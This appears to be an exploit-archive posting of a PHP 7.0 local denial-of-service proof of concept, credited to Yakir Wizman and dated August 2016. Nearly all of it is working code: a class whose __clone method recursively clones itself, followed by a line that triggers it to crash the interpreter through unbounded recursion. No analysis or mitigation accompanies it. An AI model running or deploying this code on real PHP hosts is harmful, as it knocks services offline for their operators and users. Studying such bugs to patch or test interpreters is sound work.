PHP 7.0 Object Cloning Denial Of Service
Posted on 30 August 2016
<?php ############################################################################# ## PHP 7.0 Object Cloning Local Denial of Service ## Tested on Windows Server 2012 R2 64bit, English, PHP 7.0 ## Date: 26/08/2016 ## Local Denial of Service ## Bug discovered by Yakir Wizman (https://www.linkedin.com/in/yakirwizman) ## http://www.black-rose.ml ############################################################################# class MyCloneableClass { public $obj; function __clone() { $this->obj = clone $this; return $this->obj; } } $obj = new MyCloneableClass(); $obj2 = clone $obj; ?>
